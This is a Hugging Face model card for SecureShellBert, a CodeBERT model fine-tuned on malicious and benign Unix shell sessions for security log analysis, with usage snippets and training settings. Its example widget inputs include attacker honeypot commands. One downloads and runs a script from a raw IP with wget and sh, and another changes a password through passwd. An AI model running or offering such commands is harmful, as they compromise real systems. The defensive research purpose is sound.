Instructions to use SmartDataPolito/SecureShellBert with libraries, inference providers, notebooks, and local apps. Follow these links to get started.
- Libraries
- Transformers
How to use SmartDataPolito/SecureShellBert with Transformers:
# Use a pipeline as a high-level helper from transformers import pipeline pipe = pipeline("fill-mask", model="SmartDataPolito/SecureShellBert")# Load model directly from transformers import AutoTokenizer, AutoModelForMaskedLM tokenizer = AutoTokenizer.from_pretrained("SmartDataPolito/SecureShellBert") model = AutoModelForMaskedLM.from_pretrained("SmartDataPolito/SecureShellBert") - Notebooks
- Google Colab
- Kaggle
| widget: | |
| - text: cat /proc/cpuinfo | cat <mask> | wc -l ; | |
| - text: echo -e pcnv81k7W9cAOnonv81k7W9cAOno | passwd | <mask> ; | |
| - text: >- | |
| cat /proc/cpuinfo | grep name | head -n 1 | awk {<mask> $4,$5,$6,$7,$8,$9;} | |
| ; | |
| - text: wget http://81.23.76.166/bin.sh ; chmod 777 bin.sh ; sh <mask>.sh ; | |
| pipeline_tag: fill-mask | |
| metrics: | |
| - perplexity | |
| **SecureShellBert** is a [CodeBert](https://huggingface.co/microsoft/codebert-base) model fine-tuned for **Masked Language Modelling**. | |
| The model was domain-adapted following the [Huggingface guide](https://huggingface.co/learn/nlp-course/chapter7/3) using a corpus of **>20k Unix sessions**. Such sessions are both malign (see more at [HaaS](https://haas.nic.cz/)) and benign (see more at [NLP2Bash](https://github.com/TellinaTool/nl2bash)) sessions. | |
| The model was trained: | |
| - For 10 epochs | |
| - mlm probability of 0.15 | |
| - batch size = 16 | |
| - learning rate of 1e-5 | |
| - chunk size = 256 | |
| This model was used to finetuned [LogPrecis](https://huggingface.co/SmartDataPolito/logprecis/). See more at [GitHub](https://github.com/SmartData-Polito/logprecis) for code and data, and please cite [our article](https://arxiv.org/abs/2307.08309). |